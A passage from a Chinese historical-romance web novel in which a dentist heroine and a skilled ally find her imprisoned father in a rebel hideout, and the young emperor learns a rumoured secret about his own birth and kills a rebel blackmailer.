兄弟二人打成一团,撞翻若干奏折。
萧景琮哪里是摄政王兄长的对手,萧晟玹提刀跃马征战沙场时,他还只能躲在深宫哭鼻子呢。
这场闹剧以皇帝陛下头顶三个大包被无情镇压结束,他到底没能冲破兄长的防守,冲到心爱的苏颜妍身边,只好死心认命配合兄长,期望早点结束。
就说皇帝这名号只是件衣裳,就算穿在他身上,也没什么用。
可恶的兄长,他宁愿皇帝给他当!
当皇帝的对皇位不屑一顾,有的人倒是对这个位置代表的通天权势眼红心热的很。
白延琅与林玉珠接头后,这两个心怀鬼胎的人,因为推测的秘密拧成一股绳。这条绳是久远永恒的利益,是野火般燃起的野心。
他们又同样对苏颜妍心怀恶意,觊觎她的家业,并且在她身上吃了大亏。
白延琅搭上了“荧惑”的线,林玉珠背后有安南叛党的影子,现在他们又探查到苏南星的零星消息,一张设计苏颜妍入局的网,悄然织就。
“荧惑”是景朝南域的一个神秘组织,有传言他们前身是某个小国的公主,拥有富可敌国的宝藏。
先皇萧元宏在位时,南征北伐,肃清不少江湖组织,荧惑也在那时销声匿迹。
当年安南王谋逆,很难说是不是有他们暗中提供财富支持,现在他们双方同时在京中蛰伏,井水不犯河水,像是早有默契。
白延琅更关注的是:“苏南星现在被安南遗族困在哪里?能接触到他本人吗?”
倘若能亲自见到他,他有把握从他口中哄骗出当年的真相。
顺便还可以利用这几个月的误差,从苏父手中直接获取医馆的传承。
他和苏父一样,日日泡在回春堂,可从没听过苏颜妍有能撑家立身的本事。
苏父被困住,必定不知晓医馆现状。他哄骗一番,苏父很可能直接将医馆连同苏家母女托付给他!
想到此处,他嗬嗬急喘几息,一股气力从身体泵出,他攥紧宽袖,向林玉珠方向倾身。
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林玉珠犹疑一会儿,这事儿算是他们家核心的机密。沾上叛党,这消息被人扬出去,她全家都没活路。
但,对苏颜妍的恨与恶意还是占了上风。她想看苏颜妍落到泥地里,失去一切。想来白延琅也是同样的心思,他出头就会死,他们送一条船上的。
想到这,她点点头。
他们两人低调出城,没有带任何一个家仆。
两个普通人固然机敏多疑,反复防备,到底察觉不到高手的跟踪。
袁因带着苏颜妍乔装跟在他们后面,不紧不慢,甚至还有闲心逗趣说话。
“啧啧,半点本事没有还敢单独行动,这俩人脑子里不会装的都是蚕豆吧?”
“看他们鬼鬼祟祟的样儿,蠢的离谱,没眼看啊没眼看。”
“苏姑娘,放轻松,这种蠢货,玩他们就像玩蚂蚁。”
苏颜妍又一次心惊肉跳,她真要给这位大佬跪了。这心理素质,景朝007啊!
跟着她出来比跟着萧景琮刺激一百倍。
袁因邀请她出来玩时,她哪里想得到是出来搞窃听风云、猫鼠游戏!
刺激,心跳一秒也八百,她只是个平平无奇的牙医生啊!
袁因带着苏颜妍左挪右转,袁因的手搭在她肩上,一用力,苏颜妍就顺着她的力道贴在树后或灌木丛中。
她们俩缀在白延琅和林玉珠身后,视角卡得,完美消失在每一次观察的死角。
就这样猫捉老鼠似的,盯着他们到了东城外的一处偏远农庄。
眼见他们进了农庄大院,大院外忙碌收种的汉子看似不起眼,却机警地聚拢,与他们谈了什么后,重新恢复做农活的样子。
苏颜妍看得惊心:“他们都是假的农民吧?这是叛党大本营?”
真的抓到鬼了?
袁因扫视四周,了然道:“都是练家子,这庄子伪装的可以,暗卫居然没发现端倪。是叛党神通广大,还是有渣滓被收买呢?”
她嘴角一抹坏笑,道:“嘿,回去挨个试探试探他们,说不准能逮条大鱼。”
她转问苏颜妍:“你想不想玩?伪装游戏,我给你多换几张脸,你只要机灵点,就不会被人发现。”
“我一说话就露馅了,不行不行。”苏颜妍十动然拒,摇了摇头。
袁因遗憾:“是喔,是我准备不充分,应该连变声丹一起备上的。”
这位大佬日常到底是多么精彩,苏颜妍拜服。
整个农庄外松内紧,好在大佬经验丰富,很快解决了伪装农夫的巡逻队。
她们悄儿摸的猫进一间看守严密的房子,袁因侧耳听了会儿,招手示意苏颜妍,一起闪身躲到房梁上。
苏颜妍心砰砰砰砰跳,真想不到她有朝一日,还能体验蝙蝠的日常。
“咔嚓”一声门响,她下意识屏住呼吸,白延琅和林玉珠推门进来了。
他们两人进屋后,林玉珠打发走看守,关好门窗。
整个屋子里,便只剩下她和白延琅。她对白延琅点点头,径直走到供桌边,伸手转动菩萨。
机关声响起,空荡荡的房间东墙,一排博物架转动打开,露出黑黝黝的洞口。
一个锁链缠身的瘦削人影,出现在他们面前。
45. 密室囚徒苏父
躲在房梁上的苏颜妍屏住呼吸,定睛看向敞开的密室。
漆黑的门洞打开,幽暗的光折射进去,锁链加身的人渐渐露出真容。
长发潦草、胡子拉碴、身形消瘦,只一双眼睛,亮的惊人。
白延琅捂着嘴闷闷咳嗽几声,顿了顿后,毫不迟疑冲进去,跪倒在人影身前:“师父,徒弟不肖,让您在这里受苦了!”
苏颜妍抿紧唇,眉头紧皱。这个被囚禁的人,真的是苏南星?
倘若他没有被困住,苏颜妍根本不会经历一系列打击,还是在父母羽翼下幸福生活的姑娘。
白延琅就算居心不良,有这位当家顶着,他也不敢冲苏夫人不敬。安南叛党真是丧心病狂,此处离京不远,他们居然能将人藏匿这样久,隐藏的势力让人心惊。
一只手在她背后拍了拍,温热的暖意驱散苏颜妍心中的惊怒,她放缓动作,轻轻对袁因眨了眨眼,示意自己没事。
白延琅跪倒在苏南星脚下,痛哭流涕,给他诉说失踪后发生的事情:“师父生不见人,师母大病一场,险些活不过来。徒儿费尽心思,才安顿好师母和师妹。医馆没了您,受了一些影响,好在我在您身边学了不少,勉强撑住。师父,您到底藏了什么秘密,才被困在此处?”
他作势去撕扯苏南星身上的锁链,金属制品冰凉坚固,人手岂能扯得开?叮当作响的锁链在空荡荡的房间,显得声音特别大,林玉珠小声喊停:“白哥,轻声,小心引来侍卫。”
白延琅一顿,泪眼轻抬,看向苏父,放缓了动作:“师父,您看要怎么办?”
苏父被铁链紧紧捆缚,动弹不得,他也不顾得忧心自己,一腔牵挂全数在自己妻儿身上。白延琅刚才透露的讯息,戳中他最担心的部分,他一叠声询问:“现在你师娘身体好些了吗?妍娘有没有事?你跟着我十年,该教授的你都学透,本就该独当一面。我陷在此处,没想到还有看到你的这天。延琅,你别管我,别跟着折在这儿。”
“师父,有我在,师娘和师妹您不用挂心,她们好着呢。就是医馆,我没名没分的,不敢放手管理。您看是不是留下封信,交待清楚,也叫师娘师妹放心。”白延琅手劲是那样大,抓的苏父骨头咯吱咯吱响。
苏颜妍悄悄看着,一时恨不得能像孙大圣那般精通七十二般神通,摇身一变,变成一只蚊虫,飞到苏父耳朵边一一戳破白延琅的谎言才好。
“师父,这里没有笔墨,我带着白绢和红泥,用您手印一用。以后,回春堂的事就是我的事,您安心吧。”白延琅说到这里,从怀中掏出提前备好的绢和印泥,自顾自将红泥涂到苏父手掌。暗色密室,幽光摇曳,满掌红泥好似一个血红的手影,每一寸血色都浸着诡谲的不详。
血手被迫压住白绢,在上面留下清晰的手印。苏父挣动几下,满室只余锁链碰撞声和几人急促的呼吸声。其中,白延琅呼哧呼哧的喘息音尤为刺耳。
白延琅胸膛急促起伏,双眼直直盯着白绢上的红手印,忽的“哈哈”笑出声。
他喃喃自语,完全沉浸在自己的想象中,仿佛这间屋里其他的人都不存在似的。
“呵,我拿到手了。回春堂,哈哈哈,医馆,谁也不能从我手里抢走了!苏颜妍啊苏颜妍,你就算傍上岐黄谷,又是改革又是推广,做的再多,医馆终究是属于我的!”
苏父原本沉默隐在暗中,听到这儿忍不住问:“妍娘,她什么时候找到岐黄谷?她不是一直和她娘一起,延琅,我不在的这些时日,到底发生了什么?”
白延琅被他的声音打断幻想,他脸上癫狂的笑蜡一般融化掉,微微侧头,冷冷瞪着苏父:“好师父,说到这,我也很好奇。你当年是不是偷偷在家里教导小师妹医术呢。我跟在你身后,端茶递水,谨小慎微,侍奉你不可谓不用心。你背着我传授真本事,把最拿手的教给你的血脉,哪怕她是个女人。师父,我每每想起这些,心里仿佛有把刀子在搅动。”
苏父愕然,脖颈不由自主绷直成一条线:“我没有,妍娘自小对医术并不感兴趣,我从未在私底下教她。延琅,你为何这样说你师妹,难不成,她闯了什么祸事?”
白延琅珍重地把白绢折成小方块,放在胸前衣襟里,贴身放置。他哼出冷笑,道:“不管她如何,真从你身上学的还是假装,有了这白绢,其他都不重要了。师父,念在咱们师徒一场,我会给师娘一处住宅,让她得以常住,安享晚年。”
苏父焦急伸手:“延琅……不!”
白延琅不再哼笑,转身欲走,岂料刚转身走出暗室,身侧一阵风,后脑剧痛,他白眼一翻,软倒在地。
林玉珠扔掉手中的瓷质大药罐,拍了拍手,翻过他的身体,从白延琅衣襟中摸出刚才印上红泥手印的白绢,收到自己袖袋中。
她圆胖胖的身材并不如何强壮,单挑白延琅是打不过他的。但,方才白延琅实在太过张狂,轻易取得翻盘的机会,这种不正常的顺利,让他失去了应有的警惕与谨慎。
林玉珠可不是白延琅,确认白绢到手,直接啐了口唾沫。
苏父一脸震惊,房梁上的苏颜妍也张大了嘴。唯有见多识广的袁因保持冷静,还很有闲心帮苏颜妍掩饰住不稳的呼吸,严防其他人发现她们俩梁上君子。
苏颜妍眼神乱飞,从上到下细细打量林玉珠。没错,是她本人,如假包换。自从上次齐府对质,林玉珠锒铛入狱,这是苏颜妍重新认识她的一次。
毕竟第一面就是她无脑贴在白延琅身边,一副被姓白的迷昏头的样子,越俎代庖跳出来拉仇恨。后来才一步步交恶,最后纠葛成仇敌。
最起码,苏颜妍是这样以为的。
可,倘若她真的对白延琅掏心掏肺,又怎会在此刻出手伤人。难道之前她表现的痴心,都是她的伪装?何等坚忍又何等可怕!
苏父声音颤抖,不解地问道:“你是林有仁家的女儿?你何故对延琅下重手,回春堂和济世堂向来井水不犯河水,难道,是林家伙同叛党劫持我到此处?”
林玉珠弯了弯眼,既不是苏颜妍面前那副泼妇样,也不是跟在白延琅身边时无脑痴情状。<
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p>她平静且有礼,完全一副大家闺秀样子,缓缓回道:“苏大夫,林家多年前就想同您合作,您不同意,我们何曾强迫过你。在京城重地绑走一位医馆主人,我们林家暂时没有这个本事。”
“您这位高徒白延琅,想必您已经察觉他身上的不对劲。呵,白延琅,白眼狼,您这位当家一倒下,他便得志便猖狂。我给他这一下,也算替你出了口气,您就别感谢我了。毕竟,我此次就想从你这里拿到信物,让你那位好女儿,用余生痛苦,解我心头之恨。”
“你想对妍娘做什么?!”苏父挣扎,锁链再次哗哗响起,他很快脱力,摔倒在刑架上。
“我想你带着痛苦,日日在这里,受到绝望打击,疼痛就像刀子,顺着口鼻深入肺腑。”林玉珠嘴角上扬,眼神里没有半分笑意。她的脸上诡异的表情,像一张沉默的绸缎,盖住苏父,让他难以呼吸。
“你担心我对苏颜妍做什么?苏大夫,你的女儿命硬的很,沉到渃河里,还能飘起来找回回家的路。心上人移情别恋,还能说忘就忘,转眼当成陌生人一样,压着他斗的。”
“我想让她从天上云端掉到泥地里,永远也别想再爬起来。我想让她成为低贱的尘埃脏水,谁见了都要唾一口。她天真的可笑,从小到大,我都不想有人说起我来时提起她。你还不知道吧,现在你视为命根子的回春堂,是你的女儿在管理经营呢。白延琅都斗不赢她,不过,有了你的这份''休书'',她可以从医馆滚出去了。哈哈哈,她终于要从我的人生中销声匿迹,多谢你,苏大夫。”
林玉珠带着一种平静的疯感,用淡淡的语气说完,费了点气力,将白延琅拖到一边,准备重新关上暗室的门。
苏颜妍有些着急,心头躁动,身体便控制不住反射,轻微动弹了一下。
房梁灰尘集聚,她一动,这些细小尘埃扬起一小阵缥缈的烟尘,从房顶飕飕落下。
林玉珠忽的一顿,警觉地抬头。
她的视线与房梁上的苏颜妍巧合地对上,林玉珠脸上厉色狰狞,平静的表情如同柳絮遇到明火,砰的一声烧空。
她张嘴欲喊:“苏——”
“砰”!
她的喊叫戛然而止,稍显肥壮的身体小山一般软倒,在地上发出一道沉闷的响声。
袁因撩撩衣袖擦擦额间不存在的汗珠,对苏颜妍挤眉弄眼:“好险好险,差点栽到她手里。想不到我也有马失前蹄的时候,啧啧啧,男的女的同样头顶大包,一家人就该整整齐齐。苏姑娘,你说是不是?”
苏颜妍捂住自己的嘴巴,把尖叫堵回喉咙中。
她刚从房梁上下来,脚还是软趴趴的呢。袁因,真大佬,她服了!
缓了一会缓过劲儿后,她从林玉珠手里夺过印着苏父手印的白绢,确认过后,团成一团,塞进袖袋中。她小声对袁因说:“袁姐姐,辛苦你帮忙盯着他们,我去看看我父亲。”
袁因朝她摆摆手,她便一脚深一脚浅地摸进暗室,踉跄着走到苏父跟前,撑不住坐倒下去,向他伸出手,喊了声:“父亲!”
46. 宫廷旧事
苏颜妍跟随袁因大佬搞特工007时,回春堂刮起的改革风,从京城吹向四面八方,连西北境边陲小镇的居民,都听说了这家慷慨又专业的医馆。
“小风车,呼啦转,京城有个牙医馆。牙疼苦,牙痛难,回春堂里找神仙。神仙娘娘有手段,满口白牙吃好饭!”蓬头稚子咧着嘴,手里握着简陋的风车玩具,迎着风跑来跑去。
童谣琅琅,小孩子特有的稚气声音满是天真,每个听到童谣内容的人,也都深深记住,在自己心里种上信任的种子。
孩童的世界小小,能吃饱饭,吃好饭,就是天底下第一美的事情。
一粒粒梦想的种子,静静藏在他们的心里,只待有朝一日,春风十里,花开如梦。
成了种植梦想的神女,离开自己的专业领域,现在正在被大佬带飞。
袁因拍晕林玉珠,把她和白延琅往墙角一扔,苏颜妍恨不得五体投地。
她终于见到了原身的父亲。
囚室,苏南星愕然:“妍娘,你怎么会找到这里?危险,快些离开,照顾好你娘,小心些!”
他满脸焦急,不敢大声,也不敢挣扎,怕身上的锁链响声引来守卫,给女儿带来杀身之祸。
苏颜妍试图给他打开锁链,袁因上前两步看了看,道:“这锁链是精钢,没有钥匙,外力很难打开。”
苏颜妍只好放弃,快快地给苏父说了说他失踪后发生的事,重点挑明她和白延琅早就反目成仇的事,免得苏父被蒙在鼓里。
苏父听着,听说苏夫人病倒焦急难过;听到白延琅的狼子野心,难以置信;听到苏颜妍将医馆打理的井井有条,欣慰又担心。
被关多日,他多少也摸清绑架他的叛党势力。他不想自己的女儿陷入危险,催着她离开。
“你先出去,离开这处据点,报官也好,总之别被他们抓住。爹还对他们有点用处,你别告诉你娘,知道不?”
苏颜妍见袁因点点头,便知道此次是带不走苏父,她顺从苏父的嘱咐,让他安心:“爹,那我和朋友先离开,你千万保重,什么秘密都没有你自己的命重要,等我来救你!”
她顿了顿,又道:“白延琅和林玉珠都不怀好意,他们俩要怎么处理?他们醒来会不会给爹带来更大的危险?”
袁因眼珠一转,道:“我这边有让人尸骨无存的‘化骨粉’,你要不要给他们来一点?”
苏父急忙打断:“多谢这位姑娘,无需如此。你带妍娘先离开,我教导白延琅多年,知道怎么应付他。我身上有个要命的秘密,这个秘密也能保命。他们奈何不了我,你们先走。”
袁因狡黠笑道:“苏大夫,我来找你,就是为了这个秘密。你说给我听听,不说的话,我这会没心情带令千金离开呢。”
苏颜妍吃惊地看她一眼,瞪圆的眼睛和张大的嘴,和震惊的苏父一模一样。
袁因笑眯眯道:“苏大夫,抓紧时间,快些交代吧。晚了一点,我能保证不被叛党捉住,您家千金,可就不好说呢。”
苏父胸膛剧烈起伏,牙关紧咬。
苏颜妍看看袁因,又看看苏父,少见的一脸懵逼。她对苏父不熟,苏父的所有印象都是苏夫人与原身周围人言语提及的。她对袁因了解也不算深,她是萧景琮的大嫂,擅长易容。现在这俩人剑拔弩张,她一时不知要帮谁。
苏父闭了闭眼睛,镇定下来,沉声道:“这位姑娘,知道的太多,是会惹祸上身的。”
“这你不用管,快点交待吧,时间拖得久,你女儿能遇上的危险更大哦。”
苏颜妍张口欲言,袁因冲她极快地眨了眨眼,于是她犹豫一会儿,闭上嘴巴,竖起耳朵等着听秘闻。
“……”苏父顿了顿,这次只停了短短几秒,就果断地说道:“此事关乎天家,我本人没有亲自参与,也是听我恩师讲的。他当时是宫中太医,先皇无嗣,后宫妃嫔无一有孕,当时宗室希望先皇收养义子,如果后宫还是无人生育,义子就过继成嗣子。安南王世子进京,就是打算进宫的。后面朝中两大派系,镇南王萧晟玹,安南王一系,就是当年先帝准备专门培养接班的。”
“两大派系身后都有各派官员世家的影子,还没开始撕斗,皇后有孕,所有的争端都消隐了。只要中宫孕育皇子,先皇必定会扶持自己的亲子,两派也没有争夺的必要。”
“皇后一朝临产,我恩师是待命随侍的医师。他为人谨小慎微,当差时半分不敢懈怠。皇后生产,他不巧撞见,有安南王府的人,潜入了后宫,私会皇后的贴身嬷嬷!
恩师当年资历浅,给皇后诊脉轮不上他,可他家传妇人产科相术,皇后怀相举止,肚腹中应是女胎。可皇后生产后,报与先皇的是,中宫生子。恩师突然就想起皇后的贴身嬷嬷与安南王府的人会面,手中提着一个被布盖着的篮子。二人离开时,他仿佛听到篮子中,有微弱的婴儿啼哭声。”
“这事吓坏了他,可能吗?混淆皇室血脉,诛九族的重罪。他再也无心在太医院任职,想法子辞官归隐,现在已经去世多年。此事我只在恩师临终时听个几句,那时恩师衰老糊涂,更没有任何证据。”
苏父一连说了长句,语速快且轻,喘息几息复又道:“若不是这群叛党潜入京城绑走我囚禁,我还不相信这种旧事。姑娘,天家的事,沾了一点也是祸。我就是最好的例子,请护我儿安全离开,别让她掺和进这滩浑水里。”
他转头看向苏颜妍:“妍娘,你既然将医馆经营好,我就放心了。照顾好你娘,回去后,官府能救出我,固然皆大欢喜;如果我不幸去了,你也别声张,免得那群亡命之徒盯上你。切记,切记!”
苏颜妍心中沉甸甸的,她确实没有办法现在救出苏父。如同苏父所说,叛党能潜伏京中,势力对付她一个医馆独女,绰绰有余。
苏父口中的秘密,事关重大,萧景琮倘若真被实证血脉存疑,不知朝中又要掀起多大的血雨腥风,又有多少人要被牵连死去。
她沉默看向袁因,这位奇女子,萧景琮对她颇有怨言,她对萧景琮呢?会不会也别有用心?可恨她之前只当她是自己人,皇室之间,真的能有纯粹的关系吗?
她是不是太愚蠢,不知不觉已经落进陷阱中?
思绪翻滚,乱如麻。直至袁因带她安全离开这个据点,她都没再如来时那般,叽叽喳喳兴致高昂。<
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袁因人精似的,见她这样,倒安慰几句:“我会安排人手盯着这个庄子,不会有一个漏网之鱼。现在不动手,是看看还有哪些人与叛党有勾结。萧景琮有宗谱和玉牒,没人能从身份上指摘他。把心放回肚子里,内斗这种事,咱们去看白延琅和林玉珠这两人的笑话就好。”
她难得温柔,戳破苏颜妍的小心思,也不叫她觉得难堪。苏颜妍便放下凭空多出的许多担忧,稳住心神,静待她的好消息。
一连几日,风平浪静,苏颜妍坐镇医馆,忙碌的同时,耳朵竖的高高的,谨慎观察有没有什么风吹草动。
别的不好说,她身边潜伏保护的暗卫,总感觉少了很多。
或许,他们都被调去监视据点人员了。苏颜妍空闲时间暗暗地想,克制自己别去找他们打听。
秘密之所以是秘密,就是不能说给别人听。这种要命的事,传出一点都是祸根。
小桃有时会好奇:“师父,你怎么最近总出神,想些什么?难道,是想仲景公子了?”
苏颜妍就会执起手边随便什么东西,作势敲她:“胡言乱语,该打!”
两人嘻嘻哈哈玩闹一阵,那些忧思便离她远远,再不能沾她身。
至于白延琅和林玉珠,没有消息就是好消息,萧景琮的人盯着他们,掀不起什么风浪…吧?
禁宫,长乐殿。
一道黑影翻过墙头,悄无声息地潜入。
虫鸣声一时停滞,静寂太过,莫名怪异。殿内,萧景琮警觉抬头,皱眉喝问:“谁?鬼鬼祟祟,滚出来!”
暗影里“桀桀”几声,一位全身紧身黑衣的人缓缓走出:“清宫令下,哪里能有宫人胆大包天,敢违抗圣令潜入。也正好托这道指令的福,我终于能与陛下您见上一面,说说话。”
萧景琮冷冷的盯着这位不速之客:“安南叛党,你好大的胆子,就不怕有来无回吗?!”
黑衣人仰头“桀桀”怪笑,从怀中掏出一卷纸张,放在桌上,以指推向萧景琮:“我这边有一些陛下应当想知道的秘密,请您先看一看。”
萧景琮嗤笑一声,伸手取过这卷陈旧泛黄的纸,漫不经心打开。
纸张上是一个人的小像,这人眉眼清俊,与他有七八分相似。上身裸露,肩头用朱砂点了一颗小痣。
萧景琮看不出这画有什么秘密,只当是他故弄玄虚,冷笑一声,将小像扔回桌上。
黑衣人悠悠道:“想来陛下日理万机,已然忘了,当年的安南王萧元宇的长相罢。您说巧不巧,王爷与您一样,肩挑红痣,相貌也肖似呢。”
萧景琮半眯着眼,挑起一边嘴角,他相貌本就是凌厉的美,表情一冷,更是攻击性十足:“噢,你在暗示朕,和安南王有什么不可告人的关系?笑话,同为萧氏宗脉,相貌相似也是常有的,你妄图用这种脏把事影响朕,怕是打错了算盘。”
黑衣人又是一阵“桀桀”怪笑:“陛下,如若没有实证,我焉敢出现在您眼前?当年皇后身边的贴身嬷嬷,经手了偷龙转凤换子过程,现下她正在我们手中。陛下,您可知,皇后当年生下的,是一个女婴。而您,是安南王的血脉,桀桀桀!”
47. 皇权富贵
黑夜向来是阴谋的温床,酝酿起诡谲怪诞的事件。
朱雀街,离皇宫最近的府邸,此处是镇南王在京中歇脚暂住之地。
镇南王萧晟玹回京后,时常入宫伴驾,这里便是王妃袁因荧惑少主袁因的大本营。
禁宫清宫令下,萧晟玹坐镇,不在府中。府邸早早关门闭户,熄灯落锁。
袁因披着素纱罗衣,挥退随侍,独坐窗前。
她一向不喜欢身边跟着人,众人都对这位镇南王心尖上的王妃俯首帖耳,唯命是从。她要独坐,整个小院都不曾留人。
她素手执酒,小酌几杯,忽的扬起头,皎洁月光映在她脸上,一片炫目的白。
她悠悠开口,声音笃定:“左使,你在吧,出来一起喝一杯。”
静寂的房中,多出一道窈窕的身影,黑纱覆面,正是曾救走白延琅的那位荧惑组织的使者。
“少主。”黑纱覆面的女子盈盈一拜,坐到袁因对面。
“认定我是你们组织的少主了?这么肯定没认错人?你知道我的身份吧,镇南王王妃,现在你们一个前朝组织,让我来当你们的少主?左使,你太过天真。”
“不管您愿不愿意认,事实就是事实,永远不会变。荧惑依靠血脉延续,您身上有皇室血,组织里的姐妹们会忠心跟随您。”
“皇室血?前朝皇室说出去就是个靶子,徒惹事端,还是别挂在嘴上的好。”袁因垂下眼睫,淡淡地道。
左使为她填满酒杯,不急不躁:“请您不要妄自菲薄,您若是真看不上前朝皇室血,景朝皇室血,您身上也有一半。”
袁因似是被激怒,手中酒杯重重拍在桌上,醇香的酒液四溅。
“放肆!”
左使依旧用平稳的声音回应:“少主,事实就是事实。您才是皇后的亲子,先皇的唯一血脉。当今金銮殿那张宝座,当属您的专座。萧景琮,不过是偷走您人生的卑贱者。”
禁宫,长乐殿。
安南叛党头目肆意地对萧景琮露出带着威胁的笑:“陛下,您非先帝血脉,您的血系来自安南王。这秘密,您也不想被别人知道吧?”
“您的直属亲眷已然泉下销骨,如今您身居这世间至尊高位,请您眷顾我们这些忠诚的臣子。唯有我们,与您立场一致,利益一致。陛下,三思啊。”
“陛下,先帝血脉仍在人世,人证物证均能交于您查看。镇南王与您有生死大仇,万望您趁早下手,剪除隐患。毕竟,那位金枝玉叶的公主殿下,此刻正是镇南王心爱的王妃。”
萧景琮胸膛起伏,闭目调整呼吸。袁因,想不到这群叛党手里的底牌居然是这个。血脉存疑,呵,当他这个皇帝是他爱当的吗?妄图用身世来威胁他,做梦。这世上,能威胁他的,就别活了!
他果断出手,黑衣人正自以为掌控秘密一步登天,沾沾自喜放松了警惕,萧景琮出其不意,当真重伤这位叛党头目。
黑衣人惊惧嘶声道:“疯子!你竟然真敢动手!镇南王此刻就在京城,他摄政十余年,王妃又是真正的皇家血脉。你当真不在乎自己的权势地位吗?那可是皇权!”
兄弟,皇权之下,父子相残的都是寻常,哪有什么兄弟情义?镇南王萧晟玹只是先皇义子,要不以他的执政能力与武权,怎么会与安南世子打个平手。
“我不在乎,我只在乎,你这种蝼蚁,也敢出现在我面前威胁我。呵,妄图利用这点把柄操控我?想的很美,你可以去阎王殿继续你的美梦了。”萧景琮反手抽出袖剑,寒光一闪,血液飞溅。
骨碌碌,大好头颅在青石板上滚落,铺就一条鲜艳红毯。
室内重回静寂。
萧景琮松开手指,“当啷”一声,染血的剑落在地上,崩动几下后,悄无声息。他脸上一片空白,怔怔看向窗外皎洁的月。风吹云动,洁白隐入暗色,天光不再。
他脸上肌肉颤动几息,勉强扯出一个笑,呢喃一声:“苏颜妍…”
他现在,似乎只有她了。
倘若袁因是公主,他是乱臣贼子的血脉,他又有什么脸面恬居宝座。倘若他不再是皇帝……他眼角滑过晶莹水色,地上开出几朵剔透的花。
远远的,火光喧扰渐渐靠近,殿外传来暗卫的暗号声。
清宫禁令时间到了,守在宫中的镇南王,带着禁卫军来长乐殿找人了。
萧晟玹一马当先,冲进殿内。看到一地血迹狼藉,他紧张询问:“陛下,可曾受伤?随行有太医,让他来给您看看?”
萧晟玹一身银甲,护鳞随着他靠近,发出清脆响声。萧景琮耳边恍惚幻听成幼时他带着自己在皇后宫中拿着小剑逗趣玩闹的样子。
萧晟玹是哥哥,大他三岁,比当年小萝卜头的自己高出半身。小小年纪,已然习得一身武艺,他和自己打闹,却一直有来有往。他是父皇理想的接班人,也是母后贴心倚重的臂膀。
他打小就知道,父皇恨不得他们俩身份对调,萧晟玹才是他亲生的儿子。不想,到了最后,他和义兄一样,身上流的都是别家的血。早知如此,当年父皇何苦扶持他当一国太子,日日恨铁不成钢,日日恨不得他这个扶不起的阿斗成事不足败事有余。
皇位,皇位不如从来没有传给他,不如不存在,不如当年直接给义兄。
看他一脸恍惚,萧晟玹安排禁卫军成组成队分散巡逻,规整宫禁。黑衣人尸首和血迹转瞬被打扫干净,他待殿内众人守到殿外后,扶着萧景琮,细细打量:“受惊吓了吗,怎么一直不应声?陛下…景琮?”
萧景琮涣散的眼神逐渐聚焦,他望着满脸忧色的兄长,顿了顿,缓缓说道:“大哥,我把皇位让给你吧,好不好?”
萧晟玹压根没当回事,宽阔的胸膛起伏,老鹰捉小鸡似的捞起尊贵的皇帝陛下,将他安置到主位坐好:“成天想一出是一出。潜伏进来的是哪个,说了些什么垃圾话,把你气成这个样子?”
“安南叛党头子。”
“大鱼。”萧晟玹皱皱眉:“怎么没活捉,让他这样干脆死了真是便宜了他。”
“
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他说我不是父皇的亲子,大嫂才是母后亲生的孩子。”萧景琮控制嘴角往上扬,他自以为声音正常,可是音量却低低的,仿佛卡在喉咙一般:“怪不得大哥一见她就喜欢,父皇也欣赏她。若是早点知道,这个皇位,就不用勉强我来坐了。这叛党真该早点死啊,三年前就死过来,那该多好。”
一股怒气顺着萧晟玹的肺灼烧到头顶:“陛下,叛党的一面之词,您何必放在心上。江山社稷,在您眼里,全然比不过个人恩怨吗?你已经是皇帝,名正言顺昭告天下的帝王,谁能凭借叛党的只言片语来审判?”
“他们有人证物证。”
“伪证,造假,不可信。”
“母后贴身嬷嬷。”
“人有相似,有心找到这样的人,只能说明叛党居心不良。”
“还有当年的太医证词,说母后生下的就是公主。我是安南王府送进宫,掉包的血脉。”
“一派胡言!多大点事,萧景琮,这皇位扎屁股?你真不想要赶紧滚,气死我算了。”萧晟玹见越安慰他越矫情,终于忍不住爆出粗口。
“果然,兄长知道真相后,全然不把我放在心上了。这些年的兄弟情和时光,终究是错付了!我这就滚,这一滚,就是一辈子——”萧景琮紧闭双眼,作捂胸痛心状,快快、快快地离开。
萧晟玹豁然站起,攥紧拳头:“好你小子,耍我是吧?真是欠揍!”
萧景琮抱头躲闪:“好痛!大哥饶命,你好人做到底,放我出宫去吧。我想见苏姑娘——”
……
苏颜妍挑亮烛火,俏脸寒霜,面无表情道:“这就是你半夜潜进我房间,竖在我床头装神弄鬼吓唬我的原因?编的很好,下次可以出门说书。想来这胡言乱语的本事,够养活你下半辈子了。”
萧景琮不满道:“发生了这样惊险可怖的事,我第一时间就想着来找你诉说心声,你怎么能这样冷酷无情?你听听,那群叛党可是掌握了我要命的把柄!倘若传出去,我还怎么做人?”
苏颜妍咬紧后牙槽,恨不得从这张厚颜无耻的脸上撕咬下一块脸皮,嚼嚼看是不是厚的咬不动。
她假笑着配合:“是哦,真的好危险。现在那群掌控着你弱点的叛党呢?还活着吗?”
“当然都死了。这种要命的事,怎么能留活口。就为这,大哥对我动手啊,你看,这么大一块淤青,我头上还有一个大包,你看你看!”
萧景琮撸起袖子,向苏颜妍展示胳膊上指甲般大小的一块青,低下头,指着完全看不出的位置,非要她用手摸一下发中藏着的完全感受不到的大包。
“呵呵,”苏颜妍被他钳住双手,放置在头顶,假笑配合按了按,趁他不备,加大手上力道,大力按压下去:“是这里疼吗?还是这里?”
“嗷嗷嗷!谋杀亲夫——”萧景琮痛得跳起,抱头转圈圈。
“你真该庆幸,我还没准备出外科工具来,不然,我用手术刀掀开你脑壳,看看里面装的都是些什么废料。”苏颜妍白了他一眼。
48. 科学,要讲科学!
萧景琮哀怨地看着苏颜妍:“吾妻叛逆,伤透吾心。吾与娘子累日深情,终究是错付…嗷!”
苏颜妍拧了他一把,终止了这场略带恶心的表演。
“袁因姐有带我去跟踪白延琅,找到了叛党的据点。这事你知道吗?”
萧景琮揉了揉发疼的胳膊,难得正色:“已经安排人围起来,他们带头人一死,没有人组织,必定会四散奔逃。最近京中肯定混入不少背景不干净的人,你的医馆一向有治无类,小心他们混在里面。我本想让你别去医馆,关停一阵子,等我把他们都抓出来。”
苏颜妍刚要开口,萧景琮便用他骨节分明的手指,封住她娇嫩的唇。
萧景琮顺势凑近,两人距离只隔着一层手掌,呼吸相闻。
她能闻到萧景琮身上浅淡绵长的松草香。
萧景琮冲她挑眉,声音低沉:“我知道,你肯定不同意。哪怕叛党藏在医馆,只要有真正需要你救治的患者,你也不会把他们拒之门外。嗤——”
他发出不满的喉音,挪开捂住她唇的手,探头靠近,用他的牙齿轻轻刁咬她的唇。
苏颜妍没感到疼,萧景琮并没有用力。他舔舐了一下,就松开牙齿,润弹的唇染上水色,殷红欲滴。
萧景琮重新把她拥进怀中,恨不得将她揉进骨肉里。
